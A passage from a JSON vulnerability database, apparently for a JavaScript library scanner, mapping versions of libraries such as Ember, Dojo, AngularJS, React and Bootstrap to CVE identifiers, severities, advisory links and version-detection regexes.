"identifiers": {"CVE": [ "CVE-2010-4207" ] },
"info" : [ "http://www.cvedetails.com/cve/CVE-2010-4207/" ]
}
],
"extractors" : {
"func" : [ "YUI.Version", "YAHOO.VERSION" ],
"filename" : [ "yui-([0-9][0-9.a-z_-]+)(.min)?\\.js"],
"filecontent" : [ "/*\nYUI ([0-9][0-9.a-z_-]+)", "/yui/license.(?:html|txt)\nversion: ([0-9][0-9.a-z_-]+)"],
"hashes" : {}
}
},
"prototypejs" : {
"bowername": [ "prototypejs", "prototype.js", "prototypejs-bower" ],
"vulnerabilities" : [
{
"atOrAbove" : "1.6.0",
"below" : "1.6.0.2",
"severity": "high",
"identifiers": {"CVE": [ "CVE-2008-7220" ] },
"info" : [ "http://www.cvedetails.com/cve/CVE-2008-7220/", "http://prototypejs.org/2008/01/25/prototype-1-6-0-2-bug-fixes-performance-improvements-and-security/" ] },
{
"below" : "1.5.1.2",
"severity": "high",
"identifiers": {"CVE": [ "CVE-2008-7220" ] },
"info" : [ "http://www.cvedetails.com/cve/CVE-2008-7220/", "http://prototypejs.org/2008/01/25/prototype-1-6-0-2-bug-fixes-performance-improvements-and-security/" ] }
],
"extractors" : {
"func" : [ "Prototype.Version" ],
"uri" : [ "/([0-9][0-9.a-z_-]+)/prototype(\\.min)?\\.js" ],
"filename" : [ "prototype-([0-9][0-9.a-z_-]+)(.min)?\\.js" ],
"filecontent" : [ "Prototype JavaScript framework, version ([0-9][0-9.a-z_-]+)",
"Prototype[ ]?=[ ]?\\{[ \r\n\t]*Version:[ ]?(?:'|\")([0-9][0-9.a-z_-]+)(?:'|\")" ],
"hashes" : {}
}
},
"ember" : {
"vulnerabilities" : [
{
"atOrAbove" : "1.8.0",
"below" :"1.11.4",
"severity" : "medium",
"identifiers": {"CVE": [ "CVE-2015-7565" ] },
"info": [ "https://groups.google.com/forum/#!topic/ember-security/OfyQkoSuppY" ]
},
{
"atOrAbove" : "1.12.0",
"below" :"1.12.2",
"severity" : "medium",
"identifiers": {"CVE": [ "CVE-2015-7565" ] },
"info": [ "https://groups.google.com/forum/#!topic/ember-security/OfyQkoSuppY" ]
},
{
"atOrAbove" : "1.13.0",
"below" : "1.13.12",
"severity" : "medium",
"identifiers": {"CVE": [ "CVE-2015-7565" ] },
"info": [ "https://groups.google.com/forum/#!topic/ember-security/OfyQkoSuppY" ]
},
{
"atOrAbove" : "2.0.0",
"below" : "2.0.3",
"severity" : "medium",
"identifiers": {"CVE": [ "CVE-2015-7565" ] },
"info": [ "https://groups.google.com/forum/#!topic/ember-security/OfyQkoSuppY" ]
},
{
"atOrAbove" : "2.1.0",
"below" : "2.1.2",
"severity" : "medium",
"identifiers": {"CVE": [ "CVE-2015-7565" ] },
"info": [ "https://groups.google.com/forum/#!topic/ember-security/OfyQkoSuppY" ]
},
{
"atOrAbove" : "2.2.0",
"below" : "2.2.1",
"severity" : "medium",
"identifiers": {"CVE": [ "CVE-2015-7565" ] },
"info": [ "https://groups.google.com/forum/#!topic/ember-security/OfyQkoSuppY" ]
},
{
"below" : "1.5.0",
"severity": "medium",
"identifiers": {
"CVE": [ "CVE-2014-0046" ],
"summary": "ember-routing-auto-location can be forced to redirect to another domain"
},
"info" : [ "https://github.com/emberjs/ember.js/blob/v1.5.0/CHANGELOG.md" ]
},
{
"atOrAbove" : "1.3.0-*",
"below" : "1.3.2",
"severity": "medium",
"identifiers": {"CVE": [ "CVE-2014-0046" ] },
"info" : [ "https://groups.google.com/forum/#!topic/ember-security/1h6FRgr8lXQ" ]
},
{
"atOrAbove" : "1.2.0-*",
"below" : "1.2.2",
"severity": "medium",
"identifiers": {"CVE": [ "CVE-2014-0046" ] },
"info" : [ "https://groups.google.com/forum/#!topic/ember-security/1h6FRgr8lXQ" ] },
{
"atOrAbove" : "1.4.0-*",
"below" : "1.4.0-beta.2",
"severity": "high",
"identifiers": {"CVE": ["CVE-2014-0013", "CVE-2014-0014"]},
"info" : [ "https://groups.google.com/forum/#!topic/ember-security/2kpXXCxISS4", "https://groups.google.com/forum/#!topic/ember-security/PSE4RzTi6l4" ]
},
{
"atOrAbove" : "1.3.0-*",
"below" : "1.3.1",
"severity": "high",
"identifiers": {"CVE": ["CVE-2014-0013", "CVE-2014-0014"]},
"info" : [ "https://groups.google.com/forum/#!topic/ember-security/2kpXXCxISS4", "https://groups.google.com/forum/#!topic/ember-security/PSE4RzTi6l4" ]
},
{
"atOrAbove" : "1.2.0-*",
"below" : "1.2.1",
"severity": "high",
"identifiers": {"CVE": ["CVE-2014-0013", "CVE-2014-0014"]},
"info" : [ "https://groups.google.com/forum/#!topic/ember-security/2kpXXCxISS4", "https://groups.google.com/forum/#!topic/ember-security/PSE4RzTi6l4" ]
},
{
"atOrAbove" : "1.1.0-*",
"below" : "1.1.3",
"severity": "high",
"identifiers": {"CVE": ["CVE-2014-0013", "CVE-2014-0014"]},
"info" : [ "https://groups.google.com/forum/#!topic/ember-security/2kpXXCxISS4", "https://groups.google.com/forum/#!topic/ember-security/PSE4RzTi6l4" ]
},
{
"atOrAbove" : "1.0.0-*",
"below" : "1.0.1",
"severity": "high",
"identifiers": {"CVE": ["CVE-2014-0013", "CVE-2014-0014"]},
"info" : [ "https://groups.google.com/forum/#!topic/ember-security/2kpXXCxISS4", "https://groups.google.com/forum/#!topic/ember-security/PSE4RzTi6l4" ]
},
{
"atOrAbove" : "1.0.0-rc.1",
"below" : "1.0.0-rc.1.1",
"severity": "medium",
"identifiers": {"CVE": [ "CVE-2013-4170" ] },
"info" : [ "https://groups.google.com/forum/#!topic/ember-security/dokLVwwxAdM" ]
},
{
"atOrAbove" : "1.0.0-rc.2",
"below" : "1.0.0-rc.2.1",
"severity": "medium",
"identifiers": {"CVE": [ "CVE-2013-4170" ] },
"info" : [ "https://groups.google.com/forum/#!topic/ember-security/dokLVwwxAdM" ]
},
{
"atOrAbove" : "1.0.0-rc.3",
"below" : "1.0.0-rc.3.1",
"severity": "medium",
"identifiers": {"CVE": [ "CVE-2013-4170" ] },
"info" : [ "https://groups.google.com/forum/#!topic/ember-security/dokLVwwxAdM" ]
},
{
"atOrAbove" : "1.0.0-rc.4",
"below" : "1.0.0-rc.4.1",
"severity": "medium",
"identifiers": {"CVE": [ "CVE-2013-4170" ] },
"info" : [ "https://groups.google.com/forum/#!topic/ember-security/dokLVwwxAdM" ]
},
{
"atOrAbove" : "1.0.0-rc.5",
"below" : "1.0.0-rc.5.1",
"severity": "medium",
"identifiers": {"CVE": [ "CVE-2013-4170" ] },
"info" : [ "https://groups.google.com/forum/#!topic/ember-security/dokLVwwxAdM" ]
},
{
"atOrAbove" : "1.0.0-rc.6",
"below" : "1.0.0-rc.6.1",
"severity": "medium",
"identifiers": {"CVE": [ "CVE-2013-4170" ] },
"info" : [ "https://groups.google.com/forum/#!topic/ember-security/dokLVwwxAdM" ]
},
{
"below" : "0.9.7.1",
"info" : [ "https://github.com/emberjs/ember.js/blob/master/CHANGELOG" ]
},
{
"below" : "0.9.7",
"severity": "high",
"identifiers": {
"bug": "699",
"summary": "Bound attributes aren't escaped properly"
},
"info" : [ "https://github.com/emberjs/ember.js/issues/699" ]
}
],
"extractors" : {
"func" : [ "Ember.VERSION" ],
"uri" : [ "/(?:v)?([0-9][0-9.a-z_-]+)/ember(\\.min)?\\.js" ],
"filename" : [ "ember-([0-9][0-9.a-z_-]+)(\\.min)?\\.js" ],
"filecontent" : [
"Project: Ember -(?:.*\n){9,11}// Version: v([0-9][0-9.a-z_-]+)",
"// Version: v([0-9][0-9.a-z_-]+)(.*\n){10,15}(Ember Debug|@module ember|@class ember)",
"Ember.VERSION[ ]?=[ ]?(?:'|\")([0-9][0-9.a-z_-]+)(?:'|\")"
],
"hashes" : {}
}
},
"dojo" : {
"vulnerabilities" : [
{
"atOrAbove" : "0.4",
"below" : "0.4.4",
"severity": "high",
"identifiers": {"CVE": ["CVE-2010-2276", "CVE-2010-2272"]},
"info" : [ "http://dojotoolkit.org/blog/dojo-security-advisory", "http://www.cvedetails.com/cve/CVE-2010-2276/", "http://www.cvedetails.com/cve/CVE-2010-2272/" ]
},
{
"atOrAbove" : "1.0",
"below" : "1.0.3",
"severity": "high",
"identifiers": {"CVE": ["CVE-2010-2276", "CVE-2010-2274", "CVE-2010-2273"]},
"info" : [ "http://dojotoolkit.org/blog/dojo-security-advisory", "http://www.cvedetails.com/cve/CVE-2010-2276/", "http://www.cvedetails.com/cve/CVE-2010-2274/", "http://www.cvedetails.com/cve/CVE-2010-2273/" ]
},
{
"atOrAbove" : "1.1",
"below" : "1.1.2",
"severity": "high",
"identifiers": {"CVE": ["CVE-2010-2276", "CVE-2010-2274", "CVE-2010-2273"]},
"info" : [ "http://dojotoolkit.org/blog/dojo-security-advisory", "http://www.cvedetails.com/cve/CVE-2010-2276/", "http://www.cvedetails.com/cve/CVE-2010-2274/", "http://www.cvedetails.com/cve/CVE-2010-2273/" ]
},
{
"atOrAbove" : "1.2",
"below" : "1.2.4",
"severity": "high",
"identifiers": {"CVE": ["CVE-2010-2276", "CVE-2010-2274", "CVE-2010-2273"]},
"info" : [ "http://dojotoolkit.org/blog/dojo-security-advisory", "http://www.cvedetails.com/cve/CVE-2010-2276/", "http://www.cvedetails.com/cve/CVE-2010-2274/", "http://www.cvedetails.com/cve/CVE-2010-2273/" ]
},
{
"atOrAbove" : "1.3",
"below" : "1.3.3",
"severity": "high",
"identifiers": {"CVE": ["CVE-2010-2276", "CVE-2010-2274", "CVE-2010-2273"]},
"info" : [ "http://dojotoolkit.org/blog/dojo-security-advisory", "http://www.cvedetails.com/cve/CVE-2010-2276/", "http://www.cvedetails.com/cve/CVE-2010-2274/", "http://www.cvedetails.com/cve/CVE-2010-2273/" ]
},
{
"atOrAbove" : "1.4",
"below" : "1.4.2",
"severity": "high",
"identifiers": {"CVE": ["CVE-2010-2276", "CVE-2010-2274", "CVE-2010-2273"]},
"info" : [ "http://dojotoolkit.org/blog/dojo-security-advisory", "http://www.cvedetails.com/cve/CVE-2010-2276/", "http://www.cvedetails.com/cve/CVE-2010-2274/", "http://www.cvedetails.com/cve/CVE-2010-2273/" ]
},
{
"below" : "1.4.2",
"severity": "medium",
"identifiers": {"CVE": [ "CVE-2010-2275" ] },
"info" : [ "http://www.cvedetails.com/cve/CVE-2010-2275/"]
},
{
"below" : "1.1",
"severity": "medium",
"identifiers": {"CVE": [ "CVE-2008-6681" ] },
"info" : [ "http://www.cvedetails.com/cve/CVE-2008-6681/"]
},
{
"below" : "1.10.10",
"severity": "medium",
"identifiers": { "PR" : "307" },
"info" : [ "https://github.com/dojo/dojo/pull/307" , "https://dojotoolkit.org/blog/dojo-1-14-released"]
},
{
"atOrAbove" : "1.11.0",
"below" : "1.11.6",
"severity": "medium",
"identifiers": { "PR" : "307" },
"info" : [ "https://github.com/dojo/dojo/pull/307" , "https://dojotoolkit.org/blog/dojo-1-14-released"]
},
{
"atOrAbove" : "1.12.0",
"below" : "1.12.4",
"severity": "medium",
"identifiers": { "PR" : "307" },
"info" : [ "https://github.com/dojo/dojo/pull/307" , "https://dojotoolkit.org/blog/dojo-1-14-released"]
},
{
"atOrAbove" : "1.13.0",
"below" : "1.13.1",
"severity": "medium",
"identifiers": { "PR" : "307" },
"info" : [ "https://github.com/dojo/dojo/pull/307" , "https://dojotoolkit.org/blog/dojo-1-14-released"]
}
],
"extractors" : {
"func" : [ "dojo.version.toString()" ],
"uri" : [ "/(?:dojo-)?([0-9][0-9.a-z_-]+)/dojo(\\.min)?\\.js" ],
"filename" : [ "dojo-([0-9][0-9.a-z_-]+)(\\.min)?\\.js" ],
"filecontentreplace" : [ "/dojo.version=\\{major:([0-9]+),minor:([0-9]+),patch:([0-9]+)/$1.$2.$3/"],
"hashes" : {
"73cdd262799aab850abbe694cd3bfb709ea23627" : "1.4.1",
"c8c84eddc732c3cbf370764836a7712f3f873326" : "1.4.0",
"d569ce9efb7edaedaec8ca9491aab0c656f7c8f0" : "1.0.0",
"ad44e1770895b7fa84aff5a56a0f99b855a83769" : "1.3.2",
"8fc10142a06966a8709cd9b8732f7b6db88d0c34" : "1.3.1",
"a09b5851a0a3e9d81353745a4663741238ee1b84" : "1.3.0",
"2ab48d45abe2f54cdda6ca32193b5ceb2b1bc25d" : "1.2.3",
"12208a1e649402e362f528f6aae2c614fc697f8f" : "1.2.0",
"72a6a9fbef9fa5a73cd47e49942199147f905206" : "1.1.1"
}
}
},
"angularjs" : {
"bowername": [ "angularjs", "angular.js" ],
"vulnerabilities" : [
{
"atOrAbove" : "1.5.0",
"below" : "1.6.9",
"severity": "low",
"identifiers": {
"summary": "XSS through SVG if enableSvg is set"
},
"info" : [ "https://github.com/angular/angular.js/blob/master/CHANGELOG.md#169-fiery-basilisk-2018-02-02", "https://vulnerabledoma.in/ngSanitize1.6.8_bypass.html" ]
},
{
"atOrAbove" : "1.3.0",
"below" : "1.5.0-rc2",
"severity": "medium",
"identifiers": {
"summary": "The attribute usemap can be used as a security exploit"
},
"info" : [ "https://github.com/angular/angular.js/blob/master/CHANGELOG.md#1230-patronal-resurrection-2016-07-21" ]
},
{
"atOrAbove" : "1.0.0",
"below" : "1.2.30",
"severity": "medium",
"identifiers": {
"summary": "The attribute usemap can be used as a security exploit"
},
"info" : [ "https://github.com/angular/angular.js/blob/master/CHANGELOG.md#1230-patronal-resurrection-2016-07-21" ]
},
{
"below" : "1.6.3",
"severity": "medium",
"identifiers": {
"summary": "Universal CSP bypass via add-on in Firefox"
},
"info" : [ "https://github.com/mozilla/addons-linter/issues/1000#issuecomment-282083435", "http://pastebin.com/raw/kGrdaypP" ]
},
{
"below" : "1.6.3",
"severity": "medium",
"identifiers": {
"summary": "DOS in $sanitize"
},
"info" : [ "https://github.com/angular/angular.js/blob/master/CHANGELOG.md" ]
},
{
"below" : "1.6.5",
"severity": "low",
"identifiers": {
"summary": "XSS in $sanitize in Safari/Firefox"
},
"info" : [ "https://github.com/angular/angular.js/commit/8f31f1ff43b673a24f84422d5c13d6312b2c4d94" ]
}
],
"extractors" : {
"func" : [ "angular.version.full" ],
"uri" : [ "/([0-9][0-9.a-z_-]+)/angular(\\.min)?\\.js" ],
"filename" : [ "angular(?:js)?-([0-9][0-9.a-z_-]+)(.min)?\\.js" ],
"filecontent" : [
"/\\*[ \n]+AngularJS v([0-9][0-9.a-z_-]+)",
"http://errors\\.angularjs\\.org/([0-9][0-9.a-z_-]+)/"
],
"hashes" : {}
}
},
"backbone.js" : {
"bowername": [ "backbonejs", "backbone" ],
"vulnerabilities" : [
{
"below" : "0.5.0",
"severity": "medium",
"identifiers": {
"release": "0.5.0",
"summary": "cross-site scripting vulnerability"
},
"info" : [ "http://backbonejs.org/#changelog" ]
}
],
"extractors" : {
"func" : [ "Backbone.VERSION" ],
"uri" : [ "/([0-9][0-9.a-z_-]+)/backbone(\\.min)?\\.js" ],
"filename" : [ "backbone(?:js)?-([0-9][0-9.a-z_-]+)(.min)?\\.js" ],
"filecontent" : [ "//[ ]+Backbone.js ([0-9][0-9.a-z_-]+)", "a=t.Backbone={}}a.VERSION=\"([0-9][0-9.a-z_-]+)\"" ],
"hashes" : {}
}
},
"mustache.js" : {
"bowername": [ "mustache.js", "mustache" ],
"vulnerabilities" : [
{
"below" : "0.3.1",
"severity": "high",
"identifiers": {
"bug": "112",
"summary": "execution of arbitrary javascript"
},
"info" : [ "https://github.com/janl/mustache.js/issues/112" ]
},
{
"below" : "2.2.1",
"severity": "medium",
"identifiers": {
"bug": "pull request 530",
"summary": "weakness in HTML escaping"
},
"info" : [ "https://github.com/janl/mustache.js/releases/tag/v2.2.1", "https://github.com/janl/mustache.js/pull/530" ]
}
],
"extractors" : {
"func" : [ "Mustache.version" ],
"uri" : [ "/([0-9][0-9.a-z_-]+)/mustache(\\.min)?\\.js" ],
"filename" : [ "mustache(?:js)?-([0-9][0-9.a-z_-]+)(.min)?\\.js" ],
"filecontent" : [ "name:\"mustache.js\",version:\"([0-9][0-9.a-z_-]+)\"",
"[^a-z]mustache.version[ ]?=[ ]?(?:'|\")([0-9][0-9.a-z_-]+)(?:'|\")",
"exports.name[ ]?=[ ]?\"mustache.js\";[\n ]*exports.version[ ]?=[ ]?(?:'|\")([0-9][0-9.a-z_-]+)(?:'|\");"
],
"hashes" : {}
}
},
"handlebars.js" : {
"bowername": [ "handlebars", "handlebars.js" ],
"vulnerabilities" : [
{
"below" : "1.0.0.beta.3",
"severity": "medium",
"identifiers": {
"summary": "poorly sanitized input passed to eval()"
},
"info" : [ "https://github.com/wycats/handlebars.js/pull/68" ]
},
{
"below" : "4.0.0",
"severity": "medium",
"identifiers": {
"summary": "Quoteless attributes in templates can lead to XSS"
},
"info" : [ "https://github.com/wycats/handlebars.js/pull/1083" ]
}
],
"extractors" : {
"func" : [ "Handlebars.VERSION" ],
"uri" : [ "/([0-9][0-9.a-z_-]+)/handlebars(\\.min)?\\.js" ],
"filename" : [ "handlebars(?:js)?-([0-9][0-9.a-z_-]+)(.min)?\\.js" ],
"filecontent" : [
"Handlebars.VERSION = \"([0-9][0-9.a-z_-]+)\";", "Handlebars=\\{VERSION:(?:'|\")([0-9][0-9.a-z_-]+)(?:'|\")",
"this.Handlebars=\\{\\};[\n\r \t]+\\(function\\([a-z]\\)\\{[a-z].VERSION=(?:'|\")([0-9][0-9.a-z_-]+)(?:'|\")",
"/\\*![\n\r \t]+handlebars v([0-9][0-9.a-z_-]+)"
],
"hashes" : {}
}
},
"easyXDM" : {
"vulnerabilities" : [
{
"below" : "2.4.18",
"severity": "high",
"identifiers": {"CVE": [ "CVE-2013-5212" ] },
"info" : [ "http://blog.kotowicz.net/2013/09/exploiting-easyxdm-part-1-not-usual.html", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-5212" ]
},
{
"below" : "2.4.19",
"severity": "high",
"identifiers": {"CVE": [ "CVE-2014-1403" ] },
"info" : [ "http://blog.kotowicz.net/2014/01/xssing-with-shakespeare-name-calling.html", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1403" ]
}
],
"extractors" : {
"uri" : [ "/(?:easyXDM-)?([0-9][0-9.a-z_-]+)/easyXDM(\\.min)?\\.js" ],
"filename" : [ "easyXDM-([0-9][0-9.a-z_-]+)(.min)?\\.js" ],
"filecontent" : [ " \\* easyXDM\n \\* http://easyxdm.net/(?:\r|\n|.)+version:\"([0-9][0-9.a-z_-]+)\"",
"@class easyXDM(?:.|\r|\n)+@version ([0-9][0-9.a-z_-]+)(\r|\n)" ],
"hashes" : { "cf266e3bc2da372c4f0d6b2bd87bcbaa24d5a643" : "2.4.6"}
}
},
"plupload" : {
"bowername": [ "Plupload", "plupload" ],
"vulnerabilities" : [
{
"below" : "1.5.4",
"severity": "high",
"identifiers": {"CVE": [ "CVE-2012-2401" ] },
"info" : [ "http://www.cvedetails.com/cve/CVE-2012-2401/" ]
},
{
"below" : "1.5.5",
"severity": "high",
"identifiers": {"CVE": [ "CVE-2013-0237" ] },
"info" : [ "http://www.cvedetails.com/cve/CVE-2013-0237/" ]
},
{
"below" : "2.1.9",
"severity": "medium",
"identifiers": {"CVE": [ "CVE-2016-4566" ] },
"info" : [ "https://github.com/moxiecode/plupload/releases" ]
}
],
"extractors" : {
"func" : [ "plupload.VERSION" ],
"uri" : [ "/([0-9][0-9.a-z_-]+)/plupload(\\.min)?\\.js" ],
"filename" : [ "plupload-([0-9][0-9.a-z_-]+)(.min)?\\.js" ],
"filecontent" : [ "\\* Plupload - multi-runtime File Uploader(?:\r|\n)+ \\* v([0-9][0-9.a-z_-]+)",
"var g=\\{VERSION:\"([0-9][0-9.a-z_-]+)\",.*;window.plupload=g\\}"
],
"hashes" : {}
}
},
"DOMPurify" : {
"bowername": [ "dompurify", "DOMPurify" ],
"vulnerabilities" : [
{
"below" : "0.6.1",
"severity": "medium",
"identifiers": { },
"info" : [ "https://github.com/cure53/DOMPurify/releases/tag/0.6.1" ]
},
{
"below" : "0.8.6",
"severity": "medium",
"identifiers": { },
"info" : [ "https://github.com/cure53/DOMPurify/releases/tag/0.8.6" ]
},
{
"below" : "0.8.9",
"severity": "low",
"identifiers": { "summary": "safari UXSS" },
"info" : [ "https://github.com/cure53/DOMPurify/releases/tag/0.8.9", "https://lists.ruhr-uni-bochum.de/pipermail/dompurify-security/2017-May/000006.html" ]
},
{
"below" : "0.9.0",
"severity": "low",
"identifiers": { "summary": "safari UXSS" },
"info" : [ "https://github.com/cure53/DOMPurify/releases/tag/0.9.0" ]
}
],
"extractors" : {
"func" : [ "DOMPurify.version" ],
"filecontent" : [
"DOMPurify.version = '([0-9][0-9.a-z_-]+)';",
"DOMPurify.version=\"([0-9][0-9.a-z_-]+)\"",
"DOMPurify=.[^\\r\\n]{10,500}\\.version=\"([0-9][0-9.a-z_-]+)\""
],
"hashes" : {}
}
},
"react" : {
"vulnerabilities" : [
{
"atOrAbove" : "0.4.0", "below" : "0.4.2",
"severity" : "low",
"identifiers" : {
"CVE": [ "CVE-2013-7035" ] ,
"summary":"potential XSS vulnerability can arise when using user data as a key"
},
"info": [ "https://facebook.github.io/react/blog/2013/12/18/react-v0.5.2-v0.4.2.html" ]
},
{
"atOrAbove" : "0.5.0", "below" : "0.5.2",
"severity" : "low",
"identifiers" : {
"CVE": [ "CVE-2013-7035" ],
"summary":"potential XSS vulnerability can arise when using user data as a key"
},
"info": [ "https://facebook.github.io/react/blog/2013/12/18/react-v0.5.2-v0.4.2.html" ]
},
{
"below" : "0.14.0",
"severity" : "low",
"identifiers" : { "summary":" including untrusted objects as React children can result in an XSS security vulnerability" },
"info": [ "http://danlec.com/blog/xss-via-a-spoofed-react-element", "https://facebook.github.io/react/blog/2015/10/07/react-v0.14.html" ]
},
{
"atOrAbove" : "16.0.0", "below" : "16.0.1",
"severity" : "low",
"identifiers" : {
"CVE": [ "CVE-2018-6341" ],
"summary":"potential XSS vulnerability when the attacker controls an attribute name"
},
"info": [ "https://github.com/facebook/react/blob/master/CHANGELOG.md", "https://reactjs.org/blog/2018/08/01/react-v-16-4-2.html" ]
},
{
"atOrAbove" : "16.1.0", "below" : "16.1.2",
"severity" : "low",
"identifiers" : {
"CVE": [ "CVE-2018-6341" ],
"summary":"potential XSS vulnerability when the attacker controls an attribute name"
},
"info": [ "https://github.com/facebook/react/blob/master/CHANGELOG.md", "https://reactjs.org/blog/2018/08/01/react-v-16-4-2.html" ]
},
{
"atOrAbove" : "16.2.0", "below" : "16.2.1",
"severity" : "low",
"identifiers" : {
"CVE": [ "CVE-2018-6341" ],
"summary":"potential XSS vulnerability when the attacker controls an attribute name"
},
"info": [ "https://github.com/facebook/react/blob/master/CHANGELOG.md", "https://reactjs.org/blog/2018/08/01/react-v-16-4-2.html" ]
},
{
"atOrAbove" : "16.3.0", "below" : "16.3.3",
"severity" : "low",
"identifiers" : {
"CVE": [ "CVE-2018-6341" ],
"summary":"potential XSS vulnerability when the attacker controls an attribute name"
},
"info": [ "https://github.com/facebook/react/blob/master/CHANGELOG.md", "https://reactjs.org/blog/2018/08/01/react-v-16-4-2.html" ]
},
{
"atOrAbove" : "16.4.0", "below" : "16.4.2",
"severity" : "low",
"identifiers" : {
"CVE": [ "CVE-2018-6341" ],
"summary":"potential XSS vulnerability when the attacker controls an attribute name"
},
"info": [ "https://github.com/facebook/react/blob/master/CHANGELOG.md", "https://reactjs.org/blog/2018/08/01/react-v-16-4-2.html" ]
}
],
"extractors" : {
"func" : [
"react.version",
"require('react').version"
],
"filecontent" : [
"/\\*\\*\n +\\* React \\(with addons\\) ?v([0-9][0-9.a-z_-]+)",
"/\\*\\*\n +\\* React v([0-9][0-9.a-z_-]+)",
"\"\\./ReactReconciler\":[0-9]+,\"\\./Transaction\":[0-9]+,\"fbjs/lib/invariant\":[0-9]+\\}\\],[0-9]+:\\[function\\(require,module,exports\\)\\{\"use strict\";module\\.exports=\"([0-9][0-9.a-z_-]+)\"\\}",
"ReactVersion\\.js[\\*! \\\\/\n\r]{0,100}function\\(e,t\\)\\{\"use strict\";e\\.exports=\"([0-9][0-9.a-z_-]+)\"",
"expected a ReactNode.[\\s\\S]{0,1800}?function\\(e,t\\)\\{\"use strict\";e\\.exports=\"([0-9][0-9.a-z_-]+)\""
]
}
},
"flowplayer" : {
"vulnerabilities" : [
{
"below" : "5.4.3",
"severity": "medium",
"identifiers": { "summary" : "XSS vulnerability in Flash fallback" },
"info" : [ "https://github.com/flowplayer/flowplayer/issues/381" ]
}
],
"extractors" : {
"uri" : [ "flowplayer-([0-9][0-9.a-z_-]+)(\\.min)?\\.js" ],
"filename" : [ "flowplayer-([0-9][0-9.a-z_-]+)(\\.min)?\\.js" ]
}
},
"DWR" : {
"vulnerabilities" : [
{
"below" : "1.1.4",
"severity": "high",
"identifiers": { "CVE" : [ "CVE-2007-01-09" ] },
"info" : [ "http://www.cvedetails.com/cve/CVE-2014-5326/", "http://www.cvedetails.com/cve/CVE-2014-5326/" ]
},
{
"below" : "2.0.11",
"severity": "medium",
"identifiers": { "CVE" : ["CVE-2014-5326", "CVE-2014-5325"] },
"info" : [ "http://www.cvedetails.com/cve/CVE-2014-5326/", "http://www.cvedetails.com/cve/CVE-2014-5326/" ]
},
{
"above" : "3",
"below" : "3.0.RC3",
"severity": "medium",
"identifiers": { "CVE" : ["CVE-2014-5326", "CVE-2014-5325"] },
"info" : [ "http://www.cvedetails.com/cve/CVE-2014-5326/", "http://www.cvedetails.com/cve/CVE-2014-5326/" ]
}
],
"extractors" : {
"func" : [ "dwr.version" ],
"filecontent" : [
" dwr-([0-9][0-9.a-z_-]+).jar"
]
}
},
"moment.js" : {
"bowername": [ "moment", "momentjs" ],
"vulnerabilities" : [
{
"below" : "2.11.2",
"severity": "low",
"identifiers": { "summary":"reDOS - regular expression denial of service" },
"info" : [ "https://github.com/moment/moment/issues/2936" ]
}
],
"extractors" : {
"func" : [ "moment.version" ],
"filecontent" : [ "//! moment.js(?:[\n\r]+)//! version : ([0-9][0-9.a-z_-]+)" ]
}
},
"bootstrap": {
"vulnerabilities" : [
{
"below" : "4.3.1",
"atOrAbove" : "4.0.0",
"identifiers": {
"issue" : "28236",
"summary": "XSS in data-template, data-content and data-title properties of tooltip/popover",
"CVE" : ["CVE-2019-8331"]
},
"severity" : "high",
"info" : [ "https://github.com/twbs/bootstrap/issues/28236" ]
},
{
"below" : "3.4.1",
"identifiers": {
"issue" : "28236",
"summary": "XSS in data-template, data-content and data-title properties of tooltip/popover",
"CVE" : ["CVE-2019-8331"]
},
"severity" : "high",
"info" : [ "https://github.com/twbs/bootstrap/issues/28236" ]
},
{
"below" : "4.1.2",
"atOrAbove" : "4.0.0",
"identifiers": {
"issue" : "20184",
"summary": "XSS in data-target property of scrollspy",
"CVE" : ["CVE-2018-14041"]
},
"severity" : "medium",
"info" : [ "https://github.com/twbs/bootstrap/issues/20184" ]
},
{
"below" : "3.4.0",
"identifiers": {
"issue" : "20184",
"summary": "XSS in data-target property of scrollspy",
"CVE" : ["CVE-2018-14041"]
},
"severity" : "medium",
"info" : [ "https://github.com/twbs/bootstrap/issues/20184" ]
},
{
"below" : "4.1.2",
"atOrAbove" : "4.0.0",
"identifiers": {
"issue" : "20184",
"summary": "XSS in collapse data-parent attribute",
"CVE" : ["CVE-2018-14040"]
},
"severity" : "medium",
"info" : [ "https://github.com/twbs/bootstrap/issues/20184" ]
},
{
"below" : "3.4.0",
"identifiers": {
"issue" : "20184",
"summary": "XSS in collapse data-parent attribute",
"CVE" : ["CVE-2018-14040"]
},
"severity" : "medium",
"info" : [ "https://github.com/twbs/bootstrap/issues/20184" ]
},
{
"below" : "4.1.2",
"atOrAbove" : "4.0.0",
"identifiers": {
"issue" : "20184",
"summary": "XSS in data-container property of tooltip",
"CVE" : ["CVE-2018-14042"]
},
"severity" : "medium",
"info" : [ "https://github.com/twbs/bootstrap/issues/20184" ]
},
{
"below" : "3.4.0",
"identifiers": {
"issue" : "20184",
"summary": "XSS in data-container property of tooltip",
"CVE" : ["CVE-2018-14042"]
},
"severity" : "medium",
"info" : [ "https://github.com/twbs/bootstrap/issues/20184" ]
},
{
"below" : "2.1.0",
"severity": "medium",
"identifiers": {
"summary": "cross-site scripting vulnerability"
},
"info" : [ "https://github.com/twbs/bootstrap/pull/3421" ]
},
{
"below" : "4.3.1",
"atOrAbove" : "4.0.0",
"identifiers": {
"issue" : "28236",
"summary": "XSS in data-template, data-content and data-title properties of tooltip/popover",
"CVE" : ["CVE-2019-8331"]
},
"severity" : "high",
"info" : [ "https://github.com/twbs/bootstrap/issues/28236" ]
},
{
"below" : "3.4.1",
"identifiers": {
"issue" : "28236",
"summary": "XSS in data-template, data-content and data-title properties of tooltip/popover",
"CVE" : ["CVE-2019-8331"]
},
"severity" : "high",
"info" : [ "https://github.com/twbs/bootstrap/issues/28236" ]
}
],
"extractors" : {
"uri" : [ "/([0-9][0-9.a-z_-]+)/bootstrap(\\.min)?\\.js" ],
"filename" : [ "bootstrap-([0-9][0-9.a-z_-]+)(\\.min)?\\.js" ],
"filecontent" : [
"/\\*!? Bootstrap v([0-9][0-9.a-z_-]+)",
"\\* Bootstrap v([0-9][0-9.a-z_-]+)",
"/\\*! Bootstrap v([0-9][0-9.a-z_-]+)"
],
"hashes" : {}
}
},
"ckeditor" : {
"vulnerabilities": [
{
"below" : "4.4.3",
"identifiers" : {
"summary" : "XSS"
},
"severity" : "medium",
"info": [ "https://github.com/ckeditor/ckeditor-dev/blob/master/CHANGES.md#ckeditor-443" ]
},
{
"below" : "4.4.6",
"identifiers" : {
"summary" : "XSS"
},
"severity" : "medium",
"info": [ "https://github.com/ckeditor/ckeditor-dev/blob/master/CHANGES.md#ckeditor-446" ]
},
{
"below" : "4.4.8",
"identifiers" : {
